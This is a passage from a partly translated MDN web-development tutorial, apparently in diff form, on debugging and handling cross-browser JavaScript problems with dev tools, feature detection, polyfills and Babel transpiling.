href="http://eslint.org/docs/user-guide/integrations">ESLint integrations</a> for ESLint options; JSHint is supported out of the box by Grunt, and also has other integrations available, e.g. <a href="https://github.com/webpack/jshint-loader">JSHint loader for Webpack</a>.</p> + +<div class="note"> +<p><strong>注</strong>: ESLint takes a bit more setup and configuration than JSHint, but it is more powerful too.</p> +</div> + +<h3 id="Browser_developer_tools" name="Browser_developer_tools">ブラウザーの開発ツール</h3> + +<p>Browser developer tools have many useful features for helping to debug JavaScript. For a start, the JavaScript console will report errors in your code.</p> + +<p>Make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html">broken-ajax.html</a> example (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html">source code</a> also). If you look at the console, you'll see the following output:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14165/broken-ajax.png" style="display: block; height: 86px; margin: 0px auto; width: 635px;"></p> + +<p>The error message reads "TypeError: jsonObj is null", and the line number signified is line 37. If we look at the source code, the relevant code section is this:</p> + +<pre class="brush: js">function populateHeader(jsonObj) { + var myH1 = document.createElement('h1'); +<strong> myH1.textContent = jsonObj['squadName'];</strong> + header.appendChild(myH1); + + ...</pre> + +<p>So the code falls over as soon as we try to access <code>jsonObj</code> (which as you might expect, is supposed to be a <a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON object</a>). This is supposed to be fetched from an external <code>.json</code> file using the following XMLHttpRequest call:</p> + +<pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +var request = new XMLHttpRequest(); +request.open('GET', requestURL); +request.send(); + +<strong>var superHeroes = request.response;</strong> +populateHeader(superHeroes); +showHeroes(superHeroes);</pre> + +<p>But this fails.</p> + +<h4 id="The_Console_API" name="The_Console_API">コンソール API</h4> + +<p>You may already know what is wrong with this code, but let's explore it some more to show how you could investigate this. For a start, there is a <a href="/ja/docs/Web/API/Console">Console</a> API that allows JavaScript code to interact with the browser's JavaScript console. It has a number of features available, but the main one you'll use often is <code><a href="/ja/docs/Web/API/Console/log">console.log()</a></code>, which prints a custom message to the console.</p> + +<p>Try inserting the following line just below line 31 (bolded above):</p> + +<pre class="brush: js">console.log('Response value: ' + superHeroes);</pre> + +<p>Refresh the page in the browser, and you will get an output in the console like so:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14167/console-log.png" style="display: block; height: 99px; margin: 0px auto; width: 638px;"></p> + +<p>The <code>console.log()</code> output shows that the <code>superHeroes</code> object doesn't appear to contain anything, although note that the error message has now changed, to "TypeError: heroes is undefined". This shows that the error is intermittent, giving further evidence that this is some kind of asynchronous error. Let's fix the current error and move on — remove the <code>console.log()</code> line, and update this code block:</p> + +<pre class="brush: js">var superHeroes = request.response; +populateHeader(superHeroes); +showHeroes(superHeroes);</pre> + +<p>to the following:</p> + +<pre class="brush: js">request.onload = function() { + var superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + +<p>This solves the asynchronous issue, by ensuring that the functions are not run and passed the <code>superHeroes</code> object until the response has finished loading and is available.</p> + +<p>So to summarize, anytime something is not working and a value does not appear to be what it is meant to be at some point in your code, you can use <code>console.log()</code> to print it out and see what is happening.</p> + +<h4 id="Using_the_JavaScript_debugger" name="Using_the_JavaScript_debugger">JavaScript デバッガーを使う</h4> + +<p>We have solved one problem, but we are still stuck with the error message "TypeError: heroes is undefined", reported on line 51. Let's investigate this now, using a more sophisticated feature of browser developer tools: the <a href="/ja/docs/Tools/Debugger">JavaScript debugger</a> as it is called in Firefox.</p> + +<div class="note"> +<p><strong>注</strong>: Similar tools are available in other browsers; the <a href="https://developers.google.com/web/tools/chrome-devtools/#sources">Sources tab</a> in Chrome, Debugger in Safari (see <a href="https://developer.apple.com/safari/tools/">Safari Web Development Tools</a>), etc.</p> +</div> + +<p>In Firefox, the Debugger tab looks as follows:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14169/debugger-tab.png" style="display: block; height: 253px; margin: 0px auto; width: 800px;"></p> + +<ul> + <li>On the left, you can select the script you want to debug (in this case we have only one).</li> + <li>The center panel shows the code in the selected script.</li> + <li>The right-hand panel shows useful details pertaining to the current environment — <em>Breakpoints</em>, <em>Callstack</em> and currently active <em>Scopes</em>.</li> +</ul> + +<p>The main feature of such tools is the ability to add breakpoints to code — these are points where the execution of the code stops, and at that point you can examine the environment in its current state and see what is going on.</p> + +<p>Let's get to work. First of all, we know that the error is being thrown at line 51. Click on line number 51 in the center panel to add a breakpoint to it (you'll see a blue arrow appear over the top of it). Now refresh the page (Cmd/Ctrl + R) — the browser will pause execution of the code at line 51. At this point, the right-hand side will update to show some very useful information.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14163/breakpoint.png" style="display: block; margin: 0 auto;"></p> + +<ul> + <li>Under <em>Breakpoints</em>, you'll see the details of the break-point you have set.</li> + <li>Under <em>Call Stack</em>, you'll see two entries — this is basically a list of the series of functions that were invoked to cause the current function to be invoked. At the top, we have <code>showHeroes()</code> the function we are currently in, and below we have <code>request.onload</code>, which stores the event handler function containing the call to <code>showHeroes()</code>.</li> + <li>Under <em>Scopes</em>, you'll see the currently active scope for the function we are looking at. We only have two — <code>showHeroes</code>, and <code>Window</code> (the global scope). Each scope can be expanded to show the values of variables inside the scope at the point that execution of the code was stopped.</li> +</ul> + +<p>We can find out some very useful information in here.</p> + +<ol> + <li>Expand the <code>showHeroes</code> scope — you can see from this that the heroes variable is undefined, indicating that accessing the <code>members</code> property of <code>jsonObj</code> (first line of the function) didn't work.</li> + <li>You can also see that the <code>jsonObj</code> variable is storing a text string, not a JSON object.</li> + <li>Exploring further down the call stack, click <code>request.onload</code> in the <em>Call Stack</em> section. The view will update to show the <code>request.onload</code> function in the center panel, and its scopes in the <em>Scopes</em> section.</li> + <li>Now if you expand the <code>request.onload</code> scope, you'll see that the <code>superHeroes</code> variable is a text string too, not an object. This settles it — our <code><a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> call is returning the JSON as text, not JSON.</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: We'd like you to try fixing this problem yourself. To give you a clue, you can either <a href="/ja/docs/Web/API/XMLHttpRequest/responseType">tell the XMLHttpRequest object explicitly to return JSON format</a>, or <a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">convert the returned text to JSON</a> after the response arrives. If you get stuck, consult our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fixed-ajax.html">fixed-ajax.html</a> example.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: The debugger tab has many other useful features that we've not discussed here, for example conditional breakpoints and watch expressions. For a lot more information, see the <a href="/ja/docs/Tools/Debugger">Debugger</a> page.</p> +</div> + +<h3 id="Performance_issues" name="Performance_issues">パフォーマンスの問題</h3> + +<p>As your apps get more complex and you start to use more JavaScript, you may start to run into performance problems, especially when viewing apps on slower devices. Performance is a big topic, and we don't have time to cover it in detail here. Some quick tips are as follows:</p> + +<ul> + <li>To avoid loading more JavaScript than you need, bundle your scripts into a single file using a solution like <a href="http://browserify.org/">Browserify</a>. In general, reducing the number of HTTP requests is very good for performance.</li> + <li>Make your files even smaller by minifying them before you load them onto your production server. Minifying squashes all the code together onto a huge single line, making it take up far less file size. It is ugly, but you don't need to read it when it is finished! This is best done using a minification tool like <a href="https://github.com/mishoo/UglifyJS2">Uglify</a> (there's also an online version — see <a href="https://jscompress.com/">JSCompress.com</a>)</li> + <li>When using APIs, make sure you turn off the API features when they are not being used; some API calls can be really expensive on processing power. For example, when showing a video stream, make sure it is turned off when you can't see it. When tracking a device's location using repeated Geolocation calls, make sure you turn it off when the user stops using it.</li> + <li>Animations can be really costly for performance. A lot of JavaScript libraries provide animation capabilities programmed by JavaScript, but it is much more cost effective to do the animations via native browser features like <a href="/ja/docs/Web/CSS/CSS_Animations">CSS Animations</a> (or the nascent <a href="/ja/docs/Web/API/Web_Animations_API">Web Animations API</a>) than JavaScript. Read Brian Birtles' <a href="https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/">Animating like you just don’t care with Element.animate</a> for some really useful theory on why animation is expensive, tips on how to improve animation performance, and information on the Web Animations API.</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: Addy Osmani's <a href="https://www.smashingmagazine.com/2012/11/writing-fast-memory-efficient-javascript/" rel="bookmark" title="Read 'Writing Fast, Memory-Efficient JavaScript'"><span class="headline">Writing Fast, Memory-Efficient JavaScript</span></a> <span class="headline">contains a lot of detail and some excellent tips for boosting JavaScript performance.</span></p> +</div> + +<h2 id="Cross-browser_JavaScript_problems" name="Cross-browser_JavaScript_problems">クロスブラウザー JavaScript の問題</h2> + +<p>In this section, we'll look at some of the more common cross-browser JavaScript problems. We'll break this down into:</p> + +<ul> + <li>Using modern core JavaScript features</li> + <li>Using modern Web API features</li> + <li>Using bad browser sniffing code</li> + <li>Performance problems</li> +</ul> + +<h3 id="Using_modern_JavaScriptAPI_features" name="Using_modern_JavaScriptAPI_features">モダン JavaScript/API 機能を使う</h3> + +<p>In the <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Older_browsers_not_supporting_modern_features">previous article</a> we described some of the ways in which HTML and CSS errors and unrecognized features can be handled due to the nature of the languages. JavaScript is not as permissive as HTML and CSS however — if the JavaScript engine encounters mistakes or unrecognized syntax, more often than not it will throw errors.</p> + +<p>There are a number of modern JavaScript language features defined in recent versions of the specs (<a href="/ja/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6</a> / <a href="/ja/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next</a>) that simply won't work in older browsers. Some of these are syntactic sugar (basically an easier, nicer way of writing what you can already do using existing features), and some offer interesting new possibilities.</p> + +<p>For example:</p> + +<ul> + <li><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> are a great new feature for performing asynchronous operations and making sure those operations are complete before code that relies on their results is used for something else. As an example, the <a href="https://developer.mozilla.org/ja/docs/Web/API/GlobalFetch/fetch">Fetch API</a> (a modern equivalent to <a href="/ja/docs/Web/API/XMLHttpRequest">XMLHTTPRequest</a>) uses promises to fetch resources across the network and make sure that the response has been returned before they are used (for example, displaying an image inside an {{htmlelement("img")}} element). They are not supported in IE at all but are supported across all modern browsers.</li> + <li>Arrow functions provide a shorter, more convenient syntax for writing <a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">anonymous functions</a>, which also has other advantages (see <a href="/ja/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>). For a quick example, see <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html">arrow-function.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html">source code</a> also). Arrow functions are supported across all modern browsers, except for IE and Safari.</li> + <li>Declaring <a href="/ja/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> at the top of your JavaScript code causes it to be parsed with a stricter set of rules, meaning that more warnings and errors will be thrown, and some things will be disallowed that would otherwise be acceptable. It is arguably a good idea to use strict mode, as it makes for better, more efficient code, however it has limited/patchy support across browsers (see <a href="/ja/docs/Web/JavaScript/Reference/Strict_mode#Strict_mode_in_browsers">Strict mode in browsers</a>).</li> + <li><a href="/ja/docs/Web/JavaScript/Typed_arrays">Typed arrays</a> allow JavaScript code to access and manipulate raw binary data, which is necessary as browser APIs for example start to manipulate streams of raw video and audio data. These are available in IE10 and above, and all modern browsers.</li> +</ul> + +<p>There are also many new APIs appearing in recent browsers, which don't work in older browsers, for example:</p> + +<ul> + <li><a href="/ja/docs/Web/API/IndexedDB_API">IndexedDB API</a>, <a href="/ja/docs/Web/API/Web_Storage_API">Web Storage API</a>, and others for storing website data on the client-side.</li> + <li><a href="/ja/docs/Web/API/Web_Workers_API">Web Workers API</a> for running JavaScript in a separate thread, helping to improve performance.</li> + <li><a href="/ja/docs/Learn/WebGL">WebGL API</a> for real 3D graphics.</li> + <li><a href="/ja/docs/Web/API/Web_Audio_API">Web Audio API</a> for advanced audio manipulation.</li> + <li><a href="/ja/docs/Web/API/WebRTC_API">WebRTC API</a> for multi-person, real-time video/audio connectivity (e.g. video conferencing).</li> + <li><a href="/ja/docs/Web/API/WebVR_API">WebVR API</a> for engineering virtual reality experiences in the browser (e.g. controlling a 3D view with data input from VR Hardware)</li> +</ul> + +<p>There are a few strategies for handling incompatibilities between browsers relating to feature support; let's explore the most common ones.</p> + +<div class="note"> +<p><strong>注</strong>: These strategies do not exist in separate silos — you can, of course combine them as needed. For example, you could use feature detection to determine whether a feature is supported; if it isn't, you could then run code to load a polyfill or a library to handle the lack of support.</p> +</div> + +<h4 id="Feature_detection" name="Feature_detection">機能検出</h4> + +<p>The idea behind feature detection is that you can run a test to determine whether a JavaScript feature is supported in the current browser, and then conditionally run code to provide an acceptable experience both in browsers that do and don't support the feature. As a quick example, the <a href="/ja/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a> (which exposes available location data for the device the web browser is running on) has a main entry point for its use — a <code>geolocation</code> property available on the global <a href="/ja/docs/Web/API/Navigator">Navigator</a> object. Therefore, you can detect whether the browser supports geolocation or not by using something like the following:</p> + +<pre class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="string token">"geolocation"</span> <span class="keyword token">in</span> navigator<span class="punctuation token">)</span> <span class="punctuation token">{</span> + navigator<span class="punctuation token">.</span>geolocation<span class="punctuation token">.</span><span class="function token">getCurrentPosition</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>position<span class="punctuation token">)</span> <span class="punctuation token">{</span> + // show the location on a map, perhaps using the Google Maps API + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">; +}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + // Give the user a choice of static maps instead perhaps +<span class="punctuation token">}</span></pre> + +<p>You could also write such a test for a CSS feature, for example by testing for the existence of <em><a href="/ja/docs/Web/API/HTMLElement/style">element.style.property</a></em> (e.g. <code>paragraph.style.transform !== undefined</code>). But for both CSS and JavaScript, it is probably better to use an established feature detection library rather than writing your own all the time. Modernizr is the industry standard for feature detection tests.</p> + +<p>As a last point, don't confuse feature detection with <strong>browser sniffing</strong> (detecting what specific browser is accessing the site) — this is a terrible practice that should be discouraged at all costs. See {{anch("Using bad browser sniffing code")}}, later on, for more details.</p> + +<div class="note"> +<p><strong>注</strong>: Some features are known to be undetectable — see Modernizr's list of <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">Undetectables</a>.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: Feature detection will be covered in a lot more detail in its own dedicated article, later in the module.</p> +</div> + +<h4 id="Libraries" name="Libraries">ライブラリー</h4> + +<p>JavaScript libraries are essentially third party units of code that you can attach to your page, providing you with a wealth of ready-made functionality that can be used straight away, saving you a lot of time in the process. A lot of JavaScript libraries probably came into existence because their developer was writing a set of common utility functions to save them time when writing future projects, and decided to release them into the wild because other people might find them useful too.</p> + +<p>JavaScript libraries tend to come in a few main varieties (some libraries will serve more than one of these purposes):</p> + +<ul> + <li>Utility libraries: Provide a bunch of functions to make mundane tasks easier and less boring to manage. <a href="http://jquery.com/">jQuery</a> for example provides its own fully-featured selectors and DOM manipuation libraries, to allow CSS-selector type selecting of elements in JavaScript and easier DOM building. It is not so important now we have modern features like {{domxref("Document.querySelector()")}}/{{domxref("Document.querySelectorAll()")}}/{{domxref("Node")}} methods available across browsers, but it can still be useful when older browsers need supporting.</li> + <li>Convenience libraries: Make difficult things easier to do. For example, the <a href="/ja/docs/Learn/WebGL">WebGL API</a> is really complex and challenging to use when you write it directly, so the <a href="https://threejs.org/">Three.js</a> library (and others) is built on top of WebGL and provides a much easier API for creating common 3D objects, lighting, textures, etc. The <a href="/ja/docs/Web/API/Service_Worker_API">Service Worker API</a> is also very complex to use, so code libraries have started appearing to make common Service Worker uses-cases much easier to implement (see the <a href="https://serviceworke.rs/">Service Worker Cookbook</a> for several useful code samples).</li> + <li>Effects libraries: These libraries are designed to allow you to easily add special effects to your websites. This was more useful back when {{glossary("DHTML")}} was a popular buzzword, and implementing effect involved a lot of complex JavaScript, but these days browsers have a lot of built in CSS3 features and APIs to implementing effects more easily. See <a href="https://www.javascripting.com/animation/">JavaScripting.com/animation</a> for a list of libraries.</li> + <li>UI libraries: Provide methods for implementing complex UI features that would otherwise be challenging to implement and get working cross browser, for example <a href="http://jqueryui.com/">jQuery UI</a> and <a href="http://foundation.zurb.com/">Foundation</a>. These tend to be used as the basis of an entire site layout; it is often difficult to drop them in just for one UI feature.</li> + <li>Normalization libraries: Give you a simple syntax that allows you to easily complete a task without having to worry about cross browser differences. The library will manipulate appropriate APIs in the background so the functionality will work whatever the browser (in theory). For example, <a href="https://github.com/localForage/localForage">LocalForage</a> is a library for client-side data storage, which provides a simple syntax for storing and retrieving data. In the background, it uses the best API the browser has available for storing the data, whether that is <a href="/ja/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/ja/docs/Web/API/Web_Storage_API">Web Storage</a>, or even WebSQL (which is now deprecated, but is still supported in some older versions of Safari/IE). As another example, jQuery</li> +</ul> + +<p>When choosing a library to use, make sure that it works across the set of browsers you want to support, and test your implementation thoroughly. Also make sure that the library is popular and well-supported, and isn't likely to just become obsolete next week. Talk to other developers to find out what they recommend, see how much activity and how many contributors the library has on Github (or wherever else it is stored), etc.</p> + +<div class="note"> +<p><strong>注</strong>: <a href="https://www.javascripting.com/">JavaScripting.com</a> gives you a good idea of just how many JavaScript libraries there are available, and can be useful for finding libraries for specific purposes.</p> +</div> + +<p>Library usage at a basic level tends to consist of downloading the library's files (JavaScript, possibly some CSS or other dependencies too) and attaching them to your page (e.g. via a {{htmlelement("script")}} element), although there are normally many other usage options for such libraries, like installing them as <a href="https://bower.io/">Bower</a> components, or including them as dependencies via the <a href="https://webpack.github.io/">Webpack</a> module bundler. You will have to read the libraries' individual install pages for more information.</p> + +<div class="note"> +<p><strong>注</strong>: You will also come across JavaScript frameworks in your travels around the Web, like <a href="http://emberjs.com/">Ember</a> and <a href="https://angularjs.org/">Angular</a>. Whereas libraries are often usable for solving individual problems and dropping into existing sites, frameworks tend to be more along the lines of complete solutions for developing complex web applications.</p> +</div> + +<h4 id="Polyfills" name="Polyfills">Polyfills</h4> + +<p>Polyfills also consist of 3rd party JavaScript files that you can drop into your project, but they differ from libraries — whereas libraries tend to enhance existing functionality and make things easier, polyfills provide functionality that doesn't exist at all. Polyfills use JavaScript or other technologies entirely to build in support for a feature that a browser doesn't support natively. For example, you might use a polyfill like <a href="https://github.com/stefanpenner/es6-promise">es6-promise</a> to make promises work in browsers where they are not supported natively.</p> + +<p class="gh-header-title instapaper_title">Modernizr's list of <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">HTML5 Cross Browser Polyfills</a> is a useful place to find polyfills for different purposes. Again, you should research them before you use them — make sure they work and are maintained.</p> + +<p class="gh-header-title instapaper_title">Let's work through an exercise — in this example we will use a Fetch polyfill to provide support for the Fetch API in older browsers; however we also need to use the es6-promise polyfill, as Fetch makes heavy use of promises, and browsers that don't support them will still be in trouble.</p> + +<ol> + <li class="gh-header-title instapaper_title">To get started, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill.html">fetch-polyfill.html</a> example and <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/flowers.jpg">our nice image of some flowers</a> in a new directory. We are going to write code to fetch the flowers image and display it in the page.</li> + <li class="gh-header-title instapaper_title">Next, save copies of the <a href="https://raw.githubusercontent.com/github/fetch/master/fetch.js">Fetch polyfill</a> and the <a href="https://raw.githubusercontent.com/stefanpenner/es6-promise/master/dist/es6-promise.js">es6-promises polyfill</a> in the same directory as the HTML.</li> + <li class="gh-header-title instapaper_title">Apply the polyfill scripts to the page using the following code — place these above the existing {{htmlelement("script")}} element so they will be available on the page already when we start trying to use Fetch: + <pre class="brush: js"><script src="es6-promise.js"></script> +<script src="fetch.js"></script></pre> + </li> + <li>Inside the original {{htmlelement("script")}}, add the following code:</li> + <li> + <pre class="brush: js">var myImage = document.querySelector('.my-image'); + +fetch('flowers.jpg').then(function(response) { + response.blob().then(function(myBlob) { + var objectURL = URL.createObjectURL(myBlob); + myImage.src = objectURL; + }); +});</pre> + </li> + <li>Now if you load it in a browser that doesn't support Fetch (Safari and IE are obvious candidates), you should still see the flower image appear — cool! <br> + <img alt="" src="https://mdn.mozillademos.org/files/14183/fetch-image.jpg" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></li> +</ol> + +<div class="note"> +<p><strong>注</strong>: You can find our finished version at <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html">fetch-polyfill-finished.html</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html">source code</a>).</p> +</div> + +<div class="note"> +<p class="gh-header-title instapaper_title"><strong>注</strong>: Again, there are many different ways to make use of the different polyfills you will encounter — consult each polyfill's individual documentation.</p> +</div> + +<p>One thing you might be thinking is "why should we always load the polyfill code, even if we don't need it?" This is a good point — as your sites get more complex and you start to use more libraries, polyfills, etc., you can start to load a lot of extra code, which can start to affect performance, especially on less-powerful devices. It makes sense to only load files as needed.</p> + +<p>Doing this requires some extra setup in your JavaScript. You need some kind of a feature detection test that detects whether the browser supports the feature we are trying to use:</p> + +<pre class="brush: js"><code class="language-js"><span class="hljs-keyword">if</span> (browserSupportsAllFeatures()) { + main(); +} <span class="hljs-keyword">else</span> { + loadScript(<span class="hljs-string">'polyfills.js'</span>, main); +} + +<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span>(err) </span>{ + <span class="hljs-comment">// actual app code goes in here</span> +}</code></pre> + +<p>So first we run a conditional that checks whether the function <code>browserSupportsAllFeatures()</code> returns true. If it does, we run the <code>main()</code> function, which will contain all our app's code. <code>browserSupportsAllFeatures()</code> looks like this:</p> + +<pre class="brush: js"><code class="language-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">browserSupportsAllFeatures</span>() </span>{ + <span class="hljs-keyword">return</span> <span class="hljs-built_in">window</span>.Promise && <span class="hljs-built_in">window</span>.fetch; +}</code></pre> + +<p>Here we are testing whether the <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> object and <code><a href="/ja/docs/Web/API/GlobalFetch/fetch">fetch()</a></code> function exist in the browser. If both do, the function returns true. If the function returns <code>false</code>, then we run the code inside the second part of the conditional — this runs a function called loadScript(), which loads the polyfills into the page, then runs <code>main()</code> after the loading has finished. <code>loadScript()</code> looks like this:</p> + +<pre class="brush: js"><code class="language-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loadScript</span>(<span class="hljs-params">src, done</span>) </span>{ + <span class="hljs-keyword">var</span> js = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'script'</span>); + js.src = src; + js.onload = <span class="hljs-function"><span class="hljs-keyword">function</span>() </span>{ + done(); + }; + js.onerror = <span class="hljs-function"><span class="hljs-keyword">function</span>() </span>{ + done(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Failed to load script '</span> + src)); + }; + <span class="hljs-built_in">document</span>.head.appendChild(js); +}</code> +</pre> + +<p>This function creates a new <code><script></code> element, then sets its <code>src</code> attribute to the path we specified as the first argument (<code>'polyfills.js'</code> when we called it in the code above). When it has loaded, we run the function we specified as the second argument (<code>main()</code>). If an error occurs in the loading of the script, we still call the function, but with a custom error that we can retrieve to help debug a problem if it occurs.</p> + +<p>Note that polyfills.js is basically the two polyfills we are using put together into one file. We did this manually, but there are cleverer solutions that will automatically generate bundles for you — see <a href="http://browserify.org/">Browserify</a> (see <a href="https://www.sitepoint.com/getting-started-browserify/">Getting started with Browserify</a> for a basic tutorial). It is a good idea to bundle JS files into one like this — reducing the number of HTTP requests you need to make improves the performance of your site.</p> + +<p>You can see this code in action in <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html">fetch-polyfill-only-when-needed.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html">source code also</a>). We'd like to make it clear that we can't take credit for this code — it was originally written by Philip Walton. Check out his article <a href="https://philipwalton.com/articles/loading-polyfills-only-when-needed/">Loading Polyfills Only When Needed</a> for the original code, plus a lot of useful explanation around the wider subject).</p> + +<div class="note"> +<p><strong>注</strong>: There are some 3rd party options to consider, for example <a href="https://polyfill.io/v2/docs/">Polyfill.io</a> — this is a meta-polyfill library that will look at each browser's capabilities and apply polyfills as needed, depending on what APIs and JS features you are using in your code.</p> +</div> + +<h4 id="JavaScript_transpiling" name="JavaScript_transpiling">JavaScript トランスパイルする</h4> + +<p>Another option that is becoming popular for people that want to use modern JavaScript features now is converting code that makes use of ECMAScript 6/ECMAScript 2015 features to a version that will work in older browsers.</p> + +<div class="note"> +<p><strong>注</strong>: This is called "transpiling" — you are not compiling code into a lower level for to be run on a computer (like you would say with C code); instead, you are changing it into a syntax that exists at a similar level of abstraction so it can be used in the same way, but in slightly different circumstances (in this case, transforming one flavor of JavaScript into another).</p> +</div> + +<p>So for example, we talked about arrow functions (see <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html">arrow-function.html</a> live, and see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html">source code</a>) earlier in the article, which only work in the newest browsers:</p> + +<pre class="brush: js">() => { ... }</pre> + +<p>We could transpile this across to a traditional old-fashioned anonymous function, so it would work in older browsers:</p> + +<pre class="brush: js">function() { ... }</pre> + +<p>The recommended tool for JavaScript transpiling is currently <a href="https://babeljs.io/">Babel</a>. This offers transpilation capabilities for language features that are appropriate for transpilation. For features that can't just be easily transpiled into an older equivalent, Babel also offers polyfills to provide support.</p> + +<p>The easiest way to give Babel a try is to use the <a href="https://babeljs.io/repl/">online version</a>, which allows you to enter your source code on the left, and outputs a transpiled version on the right.</p> + +<div class="note"> +<p><strong>注</strong>: There are many ways to use Babel (task runners, automation tools, etc.), as you'll see on the <a href="https://babeljs.io/docs/setup/">setup page</a>.</p> +</div> + +<h3 id="Using_bad_browser_sniffing_code" name="Using_bad_browser_sniffing_code">悪いブラウザーを検出するコードを使う</h3> + +<p>All browsers have a <strong>user-agent</strong> string, which identifies what the browser is (version, name, OS, etc.) In the bad only days when pretty much everyone used Netscape or Internet Explorer, developers used to use so-called <strong>browser sniffing code</strong> to detect which browser the user was using, and give them appropriate code to work on that browser.</p> + +<p>The code used to look something like this (although this is a simplified example):</p> + +<pre class="brush: js">var ua = navigator.userAgent; + +if(ua.indexOf('Firefox') !== -1) { + // run Firefox-specific code +} else if(ua.indexOf('Chrome') !== -1) { + // run Chrome-specific code +}</pre> + +<p>The idea was fairly good — detect what browser is viewing the site, and run code as appropriate to make sure the browser will be able to use your site OK.</p> + +<div class="note"> +<p><strong>注</strong>: Try opening up your JavaScript console now and running navigator.userAgent, to see what you get returned.</p> +</div> + +<p>However, as time went on, developers started to see major problems with this approach. For a start, the code was error prone. What if you knew a feature didn't work in say, Firefox 10 and below, and implemented code to detect this, and then Firefox 11 came out — which did support that feature? Firefox 11 probably wouldn't be supported because it's not Firefox 10. You'd have to change all your sniffing code regularly.</p> + +<p>Many developers implemented bad browser sniffing code and didn't maintain it, and browsers start getting locked out of using websites containing features that they had since implemented. This became so common that browsers started to lie about what browser they were in their user-agent strings (or claim they were all browsers), to get around sniffing code. Browsers also implemented facilities to allow users to change what user-agent string the browser reported when queried with JavaScript. This all made browser sniffing even more error prone, and ultimately pointless. </p> + +<div class="note"> +<p><strong>注</strong>: You should read <a href="http://webaim.org/blog/user-agent-string-history/">History of the browser user-agent string</a> by Aaron Andersen for a useful and amusing take on this situation.</p> +</div> + +<p>The lesson to be learned here is — NEVER use browser sniffing. The only really use case for browser sniffing code in the modern day is if you are implementing a fix for a bug in a very specific version of a particular browser. But even then, most bugs get fixed pretty quickly in browser vendor rapid release cycles. It won't come up very often. {{anch("Feature detection")}} is almost always a better option — if you detect whether a feature is supported, you won't need to change your code when new browser versions come out, and the tests are much more reliable.</p> + +<p>If you come across browser sniffing when joining an existing project, look at whether it can be replaced with something more sensible. Browser sniffing causes all kind of interesting bugs, like {{bug(1308462)}}.</p> + +<h3 id="Handling_JavaScript_prefixes" name="Handling_JavaScript_prefixes">JavaScript プレフィックスを扱う</h3> + +<p>In the previous article, we included quite a lot of discussion about <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">handing CSS prefixes</a>. Well, new JavaScript implementations sometimes use prefixes too, although JavaScript uses camel case rather than hyphenation like CSS. For example, if a prefix was being used on a new shint API object called <code>Object</code>:</p> + +<ul> + <li>Mozilla would use <code>mozObject</code></li> + <li>Chrome/Opera/Safari would use <code>webkitObject</code></li> + <li>Microsoft would use <code>msObject</code></li> +</ul> + +<p>Here's an example, taken from our <a href="http://mdn.github.io/violent-theremin/">violent-theremin demo</a> (see <a href="https://github.com/mdn/violent-theremin">source code</a>), which uses a combination of the <a href="/ja/docs/Web/API/Canvas_API">Canvas API</a> and the <a href="/ja/docs/Web/API/Web_Audio_API">Web Audio API</a> to create a 